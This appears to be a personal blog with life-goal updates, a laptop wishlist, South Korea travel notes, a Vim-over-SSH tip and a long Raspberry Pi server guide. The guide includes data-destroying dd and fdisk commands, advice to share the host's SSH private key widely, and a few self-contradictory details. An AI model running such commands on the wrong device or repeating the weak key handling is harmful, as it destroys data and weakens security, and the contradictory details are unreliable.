Owning as few things as possible. Ideally my whole life would fit in two suitcases: the 2 suitcases thingy... yeahhhh no. Can't happen. Won't happen. But I'm still trying to only own stuff than I truly need. Like I never buy clothes or shoes, I think I already have enough for the next 10 years. Not that I have so many, but who needs more than 3 pairs of jeans, or 20 t-shirts?
Anti-consumerism: yup, still valid, that's me. Only buy what you need. I favor second hand as much as possible, except for things I know I will keep for life or whose lifespan isn't so long.
Check Twitter two times a day tops: I broke up with Twitter 🎉. Now I'm struggling with Youtube. I spend way too much time watching random shit.
Go to bed before 2am: am I ever gonna learn?! Overall there has been improvement. I'm usually in bed before 1am, now targeting midnight.

Let's check out my New Year's Resolutions for 2017:

Read more: failed, at best I maintained the same level.
Play another musical instrument: major failure. I did buy a ukulele in 2018 though 😂
Learn Dutch and Spanish: not even tried. Did I mention German? 😅
Learn how to dance Rock and Roll or salsa or swing: some day, some day...

Ha ha that was funny, looking back at the old me from 2016 and my life goals. What would I add today? Probably more stretching, more weight lifting, at least more frequently. Going to bed earlier, rising earlier? And more German of course! Meet me here in a few years for an update. 😉

My Dream Laptop

2016-11-04T01:50:00+01:00

I am writing this here for posterity. All suggestions are welcome. I will definitely update this article as my requirements change.

Must have

Screen: 14 to 15"
CPU: Intel i5 or i7 (6th or 7th generation)
RAM: 8GB or more
SSD: 256GB or more
Ports:
- USB-C port: 1 at least
- Video port: 1 at least (HDMI preferably)
Debian-compatible
Battery: must last for 5 hours at least
A webcam
Headphone jack
Lightweight: less than 2.5kg

Optional but appreciated

Charging over USB-C port

Not required (I don't mind having these features or not)

Touch screen
CD/DVD drive

I DON'T WANT

A numeric keypad
A MacBook

Laptops I considered buying at some point in 2017...

Dell 7480
Dell XPS 15 (although the screen is 15.6")
Lenovo ThinkPad T470

Turned out I bought the Dell 7480.

Links

A word on Lenovo

Using Vim with SSH

2016-10-19T03:35:00+02:00

I recently faced quite a challenging problem. I had to write C++ code and compile it on a remote server. Why would I need to compile on a remote server? Well, first my laptop is not very powerful and compiling takes some time, in comparison to the server which proved to be much faster. Moreover, my code was supposed to compile on the server "out of the box", as it was meant to be executed and tested there. Hence, no dependencies, no customized environmnent, and so forth.

Anyway, I then started looking for a way to use Vim over SSH effectively, without having to switch between terminals to compile. What's more, I wanted it to be as fast as possible. After asking for help on StackOverflow, I got a very helpful answer. I finally came up with the following solution. Let's get started!

SSH

First, edit ~/.ssh/config and add your remote host.

Host my_server
  Hostname <server>
  User <user>
  IdentityFile ~/.ssh/id_rsa
    ControlMaster auto
    ControlPath ~/.ssh/%C
    # ControlPath ~/.ssh/cm_socket/%r@%h:%p
    ControlPersist yes

Then, enable pubkey authentication using ssh-copy-id -i ~/.ssh/id_rsa.pub user@server. You should now be able to connect using ssh my_server. This will establish a permanent connection. As an example, simply open another terminal and try to connect to that server, you'll notice how fast it is this time!

Later, you'll be able to disconnect from the server using ssh -O exit my_server.

Tmux

Tmux is obviously a must-have and is thus already installed.

Vim

Prerequisite

Before starting editing files, you definitely want your Vim to be smart. Hence we'll use the plugin vim-dispatch, which allows use to run the command :make asynchronously from Vim, in another Tmux pane (the new command introduced by this plugin is :Make).

Editing and compiling

Once you're connected over SSH, let's edit files on the server using Vim. Let's go!

vim sftp://my_server//home/whoever/main.cpp

Then, in Vim, type the following commands:

# The next two lines have the same effect,
# except that the first one needs spaces to be escaped
:set makeprg=ssh\ my_server\ 'make && ./main && exit'
:let &makeprg="ssh my_server 'make && ./main && exit'"
:map <f10> :Copen<cr>G
:map <f9> :update<cr>:Make<cr>
:map <f12> :cclose<cr>

The last three commands are just shortcuts meant to make the world a better place... or just developers happier.

That's it! I hope it was helpful.

South Korea

2016-09-14T00:35:00+02:00

Update January 12, 2017

During my stay in South Korea, we also went to Busan (we slept at Kimchee Guesthouse which I highly recommend). There, we went hiking in the mountain to reach Seokbulsa Temple. We also went to beaches, namely Gwangalli and Songjeong. At the end of the semester, we went back to Seoul and had a chance to visit Gangnam. In addition, we went see the gigantic and impressive Lotte World Tower, the tallest building in OECD and the 5th tallest building in the world.

The Changgyeonggung palace.

I was given the opportunity to go abroad do an exchange program, during the 2016 Fall semester. My destination? South Korea! My school there? Apparently one of the best of the country, KAIST, in Daejeon. It had no idea about its ranking back when I applied for this school.

Seoul

In August 2016, I landed in Seoul. With other people from my French school we spent a week there, mostly visiting and discovering the Korean culture. Our guesthouse was located in a great neighborhood called Hongdae. Very lively area!

Views from the N-tower (pictures above and below).

A Korean barbecue.

The Gwangjang market.

The Gyeongbokgung palace (pictures above and below).

Rooftops.

Funny facts about South Korea

Korean full names (given name + surname) have usually three syllables in total.
Korean men wear sandals all the time, even in winter, with socks. The same kind of sandals you see at the swimming pool.
They have loads of convenient stores open 24/7, at almost every corner. Main companies are 7-Eleven and GS25.
In these shops, you can buy instant coffee and other similar beverages for less than ₩1,000 (roughly €0.80). What's cool about that is you can make your coffee yourself, right after payment by pouring hot (or cold) water in a paper cup. Most of the convenient shops have such kind of machines, and it's free.
Similarly, box noodles are very popular and pretty cheap (less than ₩1,000). However, always ask a Korean about spiciness. If they say "it's OK, just a little bit spicy", then it means it's hot as hell.
Windows and MacOS are the main operating systems used. Unfortunately, Linux is rarely encountered.
Talking about computers, the Koreans have no problem leaving their laptops unlocked in public spaces.
Spitting seems OK outdoors. However, blowing one's nose is considered rude. It's pretty hard to find tissues in shops.
Driving there, especially in Seoul, is crazy. Taxi drivers try to go as fast as possible, they don't give a shit about traffic lights and speed limit. They don't use their seat belts.
Most drivers have dash cams under their windshield. In some taxis there is also a camera filming the interior.
One would expect pedestrians and cyclists to have priority over motorists. Nah! You'd better watch out before crossing.
One thing that's pretty cool is the Internet speed. In addition, there are Wi-Fi access points everywhere and most of them are free.
In general, cost of living is slightly lower than in France. However, some goods can be expensive such as cakes or pastries. Conversely, restaurants are very cheap.
Everybody is naked in saunas and hammams.
Smoking is quite common but not as much as in Europe. It's very rude to smoke while walking. In some places, there are smooking booths in the streets. Yet smoking is permitted in night clubs, even on the dance floor.
Some scooters have funny flashy LED strip lights.
In the subway, in each car there are seats reserved for the elderly or pregnant women, at far ends. Do not try to seat there even if they are all unoccupied.
Receiving and giving must be done with both hands. For instance, when giving money to the cashier.
People take off their shoes when entering houses. The reason is likely the Korean lifestyle: people used to eat on very low tables back in the day, and still today in some restaurants.
Most people are very quiet in the subway or in buses. Making a lot of noise is considered rude.
It's pretty hard to find trashcans in public spaces.
Many Koreans dress up in matching outfits, especially young couples.
Most young Korean girls pose very weirdly for photos: either the "peace" pose or they let their heads float on their hands (or shape their hands in a V around their head).
Korean cities are colorful and full of neons. But they also have huge apartment blocks, which make them very ugly.
Young couple use love motels to... well, have sex.
They use a different age system. Basically, as soon as someone is born, that person is one year old. Then, the next 1th of January, everyone gets one year older. For instance, if someone is born on the 31th of December, he will be 1 year old that day. The next day (January 1), he will be two years old. And a year from that day (so next January 1), he will be three years old. Korean people use the birthday age system (the one most countries in the world use) rarely.
Some toilets are... confusing.

KAIST (Daejeon)

One funny thing about KAIST is that, when you mention that you're studying at KAIST, people are very impressed and respectful. They almost immediately assume you're very smart. Weird feeling at first, then you kind of get used to it... ha ha. Let us now talk about what it is like to study there.

The campus is just gigantic.

With more than 10,000 students, it has any kind of facilities you might expect, and even more:

1 sports complex
Dozens of dormitories
7 fitness centers, open 24/7
3 cafeterias (you can have lunch and dinner for less than ₩4000 and yet be sated)
Restaurants (prices vary from ₩4000 to ₩6000, on average)
Fast food restaurants
A bike shop
A barber
A clinic and a pharmacy
Cafes and a bar
A swimming pool
An auditorium
Libraries
A LOT of classrooms
A stadium
Tennis courts
A bank

All dormitories are not mixed and most of them are made of small rooms shared by 2 people of the same sex. My roommate is a French man studying Computer Science as well, called Bastien.

My bed is the one on the left.

I took 4 courses for the whole semester:

CS453 Automated Software Testing
CS459 Services Computing
CS540 Network Architecture
KSE652 Social Computing Systems Design and Analysis

For every course, I have two classes per week, each of them last for 1 hour and 15 minutes. So in total, I have 10 hours of class per week, which may seem very little but on the other hand we get so much homework to do. Most of the time, between two classes of the same course, we have a bunch of papers (publications) to read online, that we're supposed to sum up. Sometimes, we even get questions to answer. I'd say we have an average of 6 hours of homework per course per week. By the way, all Fridays are off. Here is my timetable:

During our first week at KAIST, we had the chance to attend many performances in the auditorium. It was kind of a welcome ceremony.

Finally, here are two photos taken in Daejeon.

This term, there are more than 250 exchange students, mostly coming from Europe.

Travel tips

Buy a T-money card, it works in almost every city for buses, subway and trains. Most convenience stores are open 24/7 (7-eleven stores are almost everywhere).

Things I wish I had visited

Nami Island
Petite France

Useful links

Raspberry Pi: The Ultimate Guide

2016-07-10T05:11:00+02:00

Here is an old document I created a while ago. I keep it here for legacy purposes.

I'll keep this article as short as possible (no explanation where things are self-explanatory or obvious), mainly due to the fact that the article will be quite lengthy. I'll give instructions about how to setup a Raspberry Pi as well as how to install stuff. This blog post might change in a near future.

Goal

I decided to built a cheap home server to host websites, have a VPN server hosted in France, have a Nextcloud instance, and so forth. A Raspberry Pi, which costs less than $5 a year (electricity consumption) was the perfect solution. As I'm not that often in France, I needed to be able to operate it remotely. I also wanted plenty of storage, a SD card would not be sufficient. I had to plug a hard disk drive. Furthermore, I wanted it to be encrypted, just in case a malicious person tries to read my hard disk drive.

To sum up, few requirements, but big advantages. Let's get started!

What I used for this tutorial

A Raspberry Pi v3 model B
A hard disk drive (WD's PiDrive)
Cables (WD's PiDrive Cable Kit and an Ethernet cable)
A micro SD card (Samsung's microSDHC 16GB EVO Memory Card with Adapter)
A TV with a HDMI cable
A laptop with a card reader running GNU/Linux (Xubuntu to be precise)
A wired keyboard
A regular DSL Internet connection

Setting up the Raspberry Pi

The OS

Download Raspbian Lite from the official website. It might be a good idea to verify the hash (SHA1). Consider downloading the 64-bit version of the OS.. It adds supports for files larger than 4GB and also it fixes the issue with Nextcloud when the trashbin exceeds 4GB in size and can't be accessed anymore.
Extract the file .img from the zip.
Run one of the following commands:
```
df
lsblk
blkid
fdisk -l
```
Plug in the SD card (on a regular computer, not the Raspberry Pi)
Redo step 3. in order to identify the SD card. /dev/mmcblk0 or /dev/sdb for instance. /dev/mmcblk0pX or /dev/sdbX would be a partition on the device, with X an integer.
Unmount all the partitions and copy Raspbian on the whole SD card:
```
umount /dev/mmcblk0p1
sudo dd bs=1M if=2014-09-09-wheezy-raspbian.img of=/dev/mmcblk0 status=progress conv=fsync
sudo sync && sync
```
bs=4M can be used but it's more error prone, yet it's safer. There won't be any feedback during dd so wait till it finishes (might be long).
You're done. For more information, see the official website. Now enable SSH by creating an empty file named ssh in /boot. Add a default user with echo "pi:$(echo 'raspberry' | openssl passwd -6 -stdin)" > /boot/userconf.txt. Then, unmount the SD card and eject it.

First boot

Insert the micro SD card in the Raspberry Pi. Plug in an Ethernet wire or make sure you have a Wifi access point available on which you can connect, Plug in the HDMI cable (connected to a screen), a keyboard and eventually the power cable.
Log in (user name is pi and password is raspberry). You can do it using a keyboard or over SSH if you Raspberry is connected. Then set the locales and the right keyboard layout:
```
sudo su
dpkg-reconfigure locales # Select with space bar, at least en_US.UTF-8 and fr_FR.UTF-8 plus any other you need
dpkg-reconfigure keyboard-configuration # A keyboard must be plugged in
dpkg-reconfigure tzdata
```
Regarding the keyboard layout, there are other alternatives. Then reboot (sudo reboot).

Configuration

Should you need to connect over Wifi, here's how to do it:
```
sudo iwlist wlan0 scan
sudo nano /etc/wpa_supplicant/wpa_supplicant.conf
```
Go to the bottom of the file and add the following:
```
network={
    ssid="The_ESSID_from_earlier"
    psk="Your_wifi_password"
}
```
Otherwise, disable Wifi (and Bluetooth) as it draws power. One solution (preferred) is to list all blockable devices (rfkill list all) and then block bluetooth (sudo rfkill block 1 (0 is usually for Wi-Fi)). The other solution is to create /etc/modprobe.d/disable_rpi3_wifi_bt.conf and add the following:
```
##wifi
blacklist brcmfmac
blacklist brcmutil
##bt
blacklist btbcm
blacklist hci_uart
```
Save and reboot. More information. At next reboot, make sure you're either connected or that Wifi is disabled by typing ip a.
Double the current limit if your intend to plug USB devices. In /boot/config.txt, add the following:
```
max_usb_current=1
```
Some people say this has no effect on Raspberry Pi 3.
You may finish editing this file by fine-tuning its parameters.

Update you Pi:

sudo apt update
sudo apt upgrade
sudo apt install vim
# sudo apt install rpi-update # if this packet is missing
# sudo reboot
# sudo rpi-update # gets the latest firmware, normal users should not have to do it
# More info, read: https://github.com/Hexxeh/rpi-update#notes
# sudo reboot
# sudo apt update
# sudo apt upgrade

For security concerns, let's create a new user. The pi user will be deleted later.

sudo su
passwd # Add a password to the root account
adduser pipi
usermod -a -G video pipi # Otherwise omxplayer won't work with this user
echo 'export HISTSIZE=100000' >> /root/.bashrc
echo 'export HISTFILESIZE=100000' >> /root/.bashrc
echo 'export EDITOR=vim' >> /root/.bashrc
exit
# Stay connected as 'pi' for now

Config the Pi:
```
sudo raspi-config
```
You should not expand the filesystem, neither change the user password cause we'll delete the pi user anyway. However, you should change the system options (wait for network at boot). You might change the internationalisation options to English (UTF-8), but it's the same as running dpkg-reconfigure locales. If you want to change the timezone and keyboard layout, plug in a keyboard on the Pi and do it from that keyboard. Change overscan if you see black bars. Change the hostname if you want. Finally, adjust memory split (128MB is sufficient for 1080p videos). Then, reboot. And log in back using the pi user.
You should probably remove the ability to run "root" commands without typing pi’s password.
```
sudo visudo # it will safely edit /etc/sudoers
```
Here, remove "NOPASSWD: ". If there is no such a line, check out the file /etc/sudoers.d/010_pi-nopasswd and delete it.

From another computer (not your Pi), do this:

ssh-keygen # Use default choices
ssh-copy-id -i $HOME/.ssh/id_rsa.pub pipi@<raspberry-pi-IP>

Get back to your Pi, still logged in as pi and do:

su
apt install rsync
# rsync is just better than cp, we'll need it later

Now, it's time to delete the pi user. Log in as your new user (in my case it's pipi) and then:

su # Type the root password here
/usr/sbin/deluser --remove-home --remove-home --remove-all-files pi
EDITOR=vim /usr/sbin/visudo # Make sure there's no reference to pi user

Moving `/root` onto an external hard disk drive, not encrypted, with additional encrypted DATA partition

NOTE THAT RECENT RASPBERRY PIS CAN BOOT DIRECTLY FROM A USB MASS STORAGE DEVICE, WITH NO SD INSERTED: tutorial here.

Right after this section you will find another one about how to do a similar operation using an encrypted hard disk.

As root,

lsblk # Identify the hard disk drive connected to the Pi
fdisk /dev/sda

Do the following sequence of keystrokes:

d # Delete all the existing partitions if many
n # Create a new one
p # Primary
1
<Enter> # Hit enter key
+100G # 100GB, or something else
# This partition should be of type Linux (83)
n # Create a second partition, swap
p
2
<Enter>
+2G
t # Change the type...
2 # Of the second partion
82 # Make it a swap partition
n # Create the data partition
p
3
<Enter>
<Enter>
p # Make sure everything is OK and press w
w

Then:

mkfs.ext4 /dev/sda1 -L ROOT -m 5
mkswap /dev/sda2
mkfs.ext4 /dev/sda3 -L DATA -m 5 # I think this step is not necessary but did not check...
apt install cryptsetup
cryptsetup --verify-passphrase -c aes-xts-plain64 -s 512 -h sha256 luksFormat /dev/sda3
cryptsetup -v luksOpen /dev/sda3 hddcrypt
mkfs.ext4 /dev/mapper/hddcrypt -L DATA -m 1
mkdir /mnt/data_partition
mount /dev/mapper/hddcrypt /mnt/data_partition/

cat /boot/cmdline.txt # See if you can find root=/dev/mmcblk0p2. If yes then...
sed -e "s|root=/dev/mmcblk0p2|root=/dev/sda1|" -i /boot/cmdline.txt
# Otherwise, manually replace root=PARTUUID=123 with the right PARTUUID found in `blkid`
# Add 'bootwait' at the end of the line, in the same file, separated from the rest by a space char
# The 'rootwait' option forces the kernel to wait until the root device becomes ready

Edit /etc/fstab that way:

proc            /proc           proc    defaults          0       0
PARTUUID=123    /boot           vfat    defaults          0       2
PARTUUID=456    /               ext4    defaults,noatime  0       1
PARTUUID=789    none            swap    sw                0       0

Then:

mkdir /tmp/rootsd && mount /dev/mmcblk0p2 /tmp/rootsd
mkdir /tmp/roothdd && mount /dev/sda1 /tmp/roothdd
rsync -a /tmp/rootsd/ /tmp/roothdd/
sync
e2fsck -f /dev/sda1 # You might need to umount it first (umount /tmp/roothdd)
reboot
su
update-rc.d -f dphys-swapfile remove
apt remove dphys-swapfile
cat /proc/swaps
swapoff /var/swap # Might fail if it was not listed in the previous command
rm -f /var/swap
reboot
su
/sbin/swapon -s # Make sure only your swap partition is in use
dd if=/dev/urandom of=/dev/mmcblk0p2 bs=10M # Overwrite data of unused old root partition
fdisk /dev/mmcblk0 # Delete second partition

Moving `/root` onto an external hard disk drive, encrypted

I would like to thank a few websites which helped me a lot to write this article:

Stay logged in as root.

echo "initramfs initramfs.gz 0x00f00000" >> /boot/config.txt
cat /boot/config.txt

cat /boot/cmdline.txt
sed -e "s|root=/dev/mmcblk0p2|root=/dev/mapper/hddcrypt cryptdevice=/dev/sda1:hddcrypt|" -i /boot/cmdline.txt
cat /boot/cmdline.txt # Check it has been effectively changed

sed -e "s|/dev/mmcblk0p2|/dev/mapper/hddcrypt|" -i /etc/fstab
cat /etc/fstab # Make sure it's all right
echo -e "hddcrypt\t/dev/sda1\tnone\tluks" >> /etc/crypttab
cat /etc/crypttab

lsblk # Identify the hard disk drive connected to the Pi
fdisk /dev/sda # Delete any existing partition, create new one with default choices
apt install cryptsetup
cryptsetup --verify-passphrase -c aes-xts-plain64 -s 512 -h sha256 luksFormat /dev/sda1
# 512-bit AES encryption with 256-bit SHA hashing algorithm
cryptsetup -v luksOpen /dev/sda1 hddcrypt
mkfs.ext4 /dev/mapper/hddcrypt -L ROOT_HDD -m 1

# Let's mount in two directories the unencrypted root partition from the SD card
# and the new encrypted root partition from the HDD
mkdir /tmp/rootplain && mount /dev/mmcblk0p2 /tmp/rootplain/
mkdir /tmp/rootcrypt && mount /dev/mapper/hddcrypt /tmp/rootcrypt/
rsync -a /tmp/rootplain/ /tmp/rootcrypt/ # Copy from plain to encrypted
sync

mkinitramfs -o /boot/initramfs.gz $(uname -r)
reboot

# Delete old /root
su
dd if=/dev/urandom of=/dev/mmcblk0p2 bs=10M status=progress conv=fsync
fdisk /dev/mmcblk0 # Delete second partition

Enable remote unlocking

References:

Let's get started! On your Pi:

su
apt install dropbear
mkinitramfs -o /boot/initramfs.gz $(uname -r) # Triggers SSH key generation

# Next command is really important, it gives the Pi enough time to get an IP address
sed "s/configure_networking\ \&/echo \"Waiting 5secs...\"\nsleep\ 5\nconfigure_networking\/" -i /usr/share/initramfs-tools/scripts/init-premount/dropbear
cat /usr/share/initramfs-tools/scripts/init-premount/dropbear

cd /etc/dropbear/
rm /etc/initramfs-tools/etc/dropbear/dropbear_dss_host_key
rm /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key
# Next command improves security. Default length is 1024
dropbearkey -t rsa -s 4096 -f /etc/initramfs-tools/etc/dropbear/dropbear_rsa_host_key

Now, add the following at the beginning of the first line of the file /etc/initramfs-tools/root/.ssh/authorized_keys:

command="/scripts/local-top/cryptroot && kill -9 `ps | grep -m 1 'cryptroot' | cut -d ' ' -f 3`"

To forbid authentication using passwords and to change the listening port used by Dropbear, create the file /etc/initramfs-tools/conf.d/dropbear and add:

export PKGOPTION_dropbear_OPTION="-s -p 1234"

And do:

mkinitramfs -o /boot/initramfs.gz $(uname -r) # Might be useless
update-initramfs -u

From now, you have 3 possibilities to access your Raspberry Pi remotely:

Using a public key
Using the Raspberry's private key
Using an account's password

The two first possibilities are quite safe, compared to the third one. It's well known that authentication using passwords over SSH is not that safe.
Using your PC's SSH public key is a good solution but not reliable in the long term. Imagine you were to lose access to your personal computer, you would end up locked out of your Raspberry with no means to access it. On the other hand, using your Raspberry Pi's SSH private as an identity is far more convenient in that you can store that file on many devices. Should you lose you computer, you could still access your Raspberry from another computer, given that you still have access to that private key. I know it's not the safest solution but that's the one I chose to go with.

So here are how to do it with those two first choices, but I recommend you to go with the second one.

Choice 1

echo $(cat /home/pipi/.ssh/authorized_keys) >> /etc/initramfs-tools/root/.ssh/authorized_keys # Will grant us direct SSH access
cat /etc/initramfs-tools/root/.ssh/authorized_keys # Make sure it's all right

Choice 2

Save the content of /etc/initramfs-tools/root/.ssh/id_rsa on your computer. Make sure to copy the entire file, including first and last lines. And do that on the newly created file, on your computer:

chmod 0600 id_rsa_rpi

Now, you can connect to your Pi like this:

ssh -i id_rsa_rpi root@192.168.1.XX -v -p 1234

Finally, last step:

update-rc.d dropbear disable # Only openssh will be used after partition is decrypted
mkinitramfs -o /boot/initramfs.gz $(uname -r) # Might be useless
update-initramfs -u
reboot

For more information in this whole thing, read the official documentation provided by cryptsetup:

zcat /usr/share/doc/cryptsetup/README.remote.gz

Should you need to upgrade your firmware, make sure to update the right initramfs before rebooting. Read the end of this article to find out how to do it.

Instead of unlocking your hard disk drive over SSH, if you prefer to use a keyfile, check out this website.

If you are brave enough, have a look at the section below called Hardening security. You might want to improve Dropbear settings.

You might also want to read about Mozilla's recommandation in terms of SSH security.

Tips

Screen blank time

To avoid screen blanking after a while in the console (tty), change BLANK_TIME to 0 in /etc/kbd/config.

As previously seen, the tool rasp-config allows you to configure auto login. But you can also do this with the command line. In /etc/inittab, replace

1:2345:respawn:/sbin/getty 115200 tty1

with

1:2345:respawn:/bin/login -f pi tty1 </dev/tty1 >/dev/tty1 2>&1

Stopping Raspberry-Pi from auto changing source on TV

sudo echo "hdmi_ignore_cec_init=1" >> /boot/config.txt

Auto-mount an external hard disk drive

mkdir /home/pi/my_wonderful_hdd # Where the HDD will be mounted
sudo fdisk -l # Note the location of the HDD (something like /dev/sda1)
sudo mount -t auto /dev/sda1 /home/pi/my_wonderful_hdd # Mount it now
sudo echo "/dev/sda1 /home/pi/my_wonderful_hdd auto noatime 0 0" >> /etc/fstab # Auto mount at boot

Change hostname

Use the tool rasp-config or edit both /etc/hostname and /etc/hosts.

Disable SWAP permanently

Swapping is bad for your SD card lifespan. You should disable it permanently. You might however want to keep swap on a partition on a hard disk drive (see above). To disable permatently on SD card and disk, run:

sudo swapoff --all # Temporary, disables also dedicated partitions (like /dev/sda2)
sudo update-rc.d dphys-swapfile remove
sudo apt remove dphys-swapfile # Permanently
sudo rm /var/swap

DynHost

Run apt install lynx dnsutils git as root. dnsutils provides dig.
As a normal user, run git clone https://github.com/rpellerin/dynhost.git $HOME/dynhost
Edit the lines HOST, LOGIN, PASSWORD and PATH_APP in the file dynhost.
Add a cronjob (crontab -e), on your Pi, with the same user (not root!):
```
*/5 * * * * /home/pi/dynhost/dynhost
```
All good!

Configure a local SMTP email server

Before doing this. make sure you did set the hostname of your Raspberry Pi through raspi-config. Note: to successfully send email, the domain you set must exist as a valid DNS entry. Otherwise some email servers will reject your emails. If your Raspberry won't answer to no domain, let as is but make sure while setting up exim4 to hide local mail name with an existing domain.

Make sure to disable /var/log from being in RAM since Exim4 needs /var/log/exim4/mainlog to exist, even after a reboot.

This is pretty convient as some programs still prefer to send emails, such as cron.
Normally, Exim4 comes pre-installed with Debian. If not, do apt install exim4. Then:

su
dpkg-reconfigure exim4-config
# "mail sent by smarthost; no local mail"
# System mail name: keep default; must be a valid FQDN though (ending with .com for example). Leaving blank is the same as reusing the same hostname you set for the Raspberry but it is sometimes buggy. Better to explicitely write your hostname.
# IP-addresses to listen on: keep default, we don't want to receive external emails
# Other destinations: leave blank
# Machines to relay mail for: leave blank
# IP address or host name of the outgoing smarthost: your SMTP server with port, like ssl0.ovh.net::465
# Hide local mail name: no, or yes if you let 'System mail name' blank. If you set a domain, it MUST EXIST otherwise some server will reject your emails.
# Keep number of DNS-queries minimal: no
# Delivery method for local mail: mbox
# Split configuration into small files: no
# Root and postmaster mail recipient: write one of your email addresses or leave blank

/etc/exim4/update-exim4.conf.conf should look like this:

dc_eximconfig_configtype='satellite'
dc_other_hostnames=''
dc_local_interfaces='127.0.0.1 ; ::1'
dc_readhost='<YOUR HOSTNAME>'
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost='ssl0.ovh.net::465'
CFILEMODE='644'
dc_use_split_config='false'
dc_hide_mailname='true'
dc_mailname_in_oh='true'
dc_localdelivery='mail_spool'

Then, cat /etc/mailname and make sure the system mail name you just specified is correctly reported here.

In /etc/exim4/passwd.client, add you credentials, like:

ssl0.ovh.net:me@mydomain.com:password

If your SMTP server uses port 465 with SSL, you'll need to edit /etc/exim4/exim4.conf.template. Add the following line, after driver = smtp, under remote_smtp_smarthost:

protocol = smtps

More information.

Now add these lines in /etc/aliases (changes the lines according to your needs):

root: <your email address>, <another email address comma-separated if needed>
pipi: root

Any email intended for root will be sent to the corresponding email address. Do not add addresses using the same domain you chose while configuring exim4 ("System mail name") as the emails won't be sent out.
You can also edit /etc/email-addresses: this file contains addresses used for from, reply-to and sender addresses fields.

Then:

newaliases # To apply changes brought to aliases
update-exim4.conf
systemctl restart exim4
echo "This is a test." | mail -s "test message" anotherme@somewhere.com # Try sending an email
echo "This is a test." | mail -s "test message for root" root # Try sending an email
runq; exim -qff # Flush all email queues

More information.

Send email automatically on startup with `sendmail`

Add the following in crontab -e as root:

@reboot /bin/sleep 30; /usr/sbin/exim -qff; echo "So you know... ($(date))" | mail -s "Rpi turned on" root

Now, read the section right below.

Edit your user and root's .bashrc and add at the end of the file:

echo "So you know... ($(date))" | mail -s "Root shell login" root

Installing Nextcloud

Official tutorial: https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html.

(here is another tutorial on how to install Nextcloud via SNAP)

Click here to know how to support HTTP2

[Note that Apache prefork (which is used by `libapache2-mod-php`) is not compatible with HTTP2](https://http2.pro/doc/Apache). We have to [use fpm](https://blog.feutl.com/nextcloud-http2/). Here are some instructions on how to support HTTP2: 1. Follow the instructions below but do no install `libapache2-mod-php`, instead install `php-fpm`. 1. After setting up the database, do: :::bash su # If necessary, run the following # systemctl stop apache2 # a2dismod php7.3 # apt purge libapache2-mod-php a2dismod mpm_prefork a2enmod mpm_event proxy_fcgi setenvif a2enmod http2 a2enconf php7.3-fpm # Check the generated conf file in /etc/apache2/conf-enabled, if not needed remove the file or disable the conf 1. Keep reading the instructions. When editing `/etc/apache2/sites-enabled/default-ssl.conf`, add these lines in the virtual host: :::text ... SetHandler "proxy:unix:/run/php/php7.3-fpm.sock|fcgi://localhost/" ... ProtocolsHonorOrder On Protocols h2 h2c http/1.1 ... 1. [Tune PHP-FPM](https://docs.nextcloud.com/server/latest/admin_manual/installation/server_tuning.html#tune-php-fpm). 1. Copy the lines `php_value` from `/var/www/nextcloud/.htaccess` [to `/var/www/nextcloud/.htaccess`](https://medium.com/@jacksonpauls/moving-from-mod-php-to-php-fpm-914125a7f336). 1. `systemctl reload php7.3-fpm && systemctl restart apache2` 1. Check if Apache2 MPM is changed to events: `sudo apachectl -V | grep MPM` 1. See [Nextcloud's instructions on the php.ini file](https://docs.nextcloud.com/server/latest/admin_manual/installation/source_installation.html#php-ini-configuration-notes).

su
apt install apache2 mariadb-server libapache2-mod-php
apt install php-gd php-json php-mysql php-curl php-mbstring
apt install php-intl php-imagick imagemagick php-xml php-zip php-bz2
systemctl restart apache2

cd /var/www
mkdir nextcloud
wget https://download.nextcloud.com/server/releases/nextcloud-20.0.4.zip
sha256sum -c <(wget -q https://download.nextcloud.com/server/releases/nextcloud-20.0.4.zip.sha256 -O -) < nextcloud-20.0.4.zip
unzip nextcloud-20.0.4.zip
chown -R www-data:www-data /var/www/nextcloud/

mysql -u root -p # No password is required, just hit enter
CREATE USER 'nextclouduser'@'localhost' IDENTIFIED BY 'Password';
create database nextcloud;
GRANT ALL PRIVILEGES ON nextcloud.* TO 'nextclouduser'@'localhost';
flush privileges;
exit;

mysql -u nextclouduser -p # Make sure it worked
mysql_secure_installation

a2enmod ssl
a2ensite default-ssl # Enable HTTPS website

apachectl -M # Check modules enabled
# Enable the following if not already done
a2enmod rewrite
a2enmod headers
a2enmod env
a2enmod dir
a2enmod mime
systemctl restart apache2
systemctl disable apache2 # No auto start on boot

Now edit /etc/apache2/sites-enabled/000-default.conf. It must contain the following (note that the redirection to https can be automatically added by Let's Encrypt, see farther below):

Alias / "/var/www/nextcloud/"
<Directory "/var/www/nextcloud">
    Options +FollowSymLinks
    AllowOverride All

    <IfModule mod_dav.c>
        Dav off
    </IfModule>

    SetEnv HOME /var/www/nextcloud
    SetEnv HTTP_HOME /var/www/nextcloud
</Directory>

<Directory "/mnt/data_partition/">
    # just in case if .htaccess gets disabled
    Require all denied
</Directory>

<VirtualHost *:80>
    ServerName <YOUR DOMAIN>
    ServerAdmin <YOUR EMAIL ADDRESS>
    DocumentRoot /var/www/nextcloud

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    Redirect permanent / https://<YOUR DOMAIN>/
</VirtualHost>

Bring the changes between <VirtualHost> tags to /etc/apache2/sites-enables/default-ssl.conf, except for the instruction Redirect. Additionally, add instructions taken from Mozilla SSL Configuration Generator:

<VirtualHost *:443>
    ...
    # SSLEngine on # We'll uncomment this later

    # HSTS (mod_headers is required) (15552000 seconds = 6 months)
    Header always set Strict-Transport-Security "max-age=15552000; includeSubDomains"
    ...
</VirtualHost>

# modern configuration, tweak to your needs
SSLProtocol             all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite          ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
SSLHonorCipherOrder     on
SSLCompression          off
SSLSessionTickets       off

# OCSP Stapling, only in httpd 2.3.3 and later
SSLUseStapling          on
SSLStaplingResponderTimeout 5
SSLStaplingReturnResponderErrors off
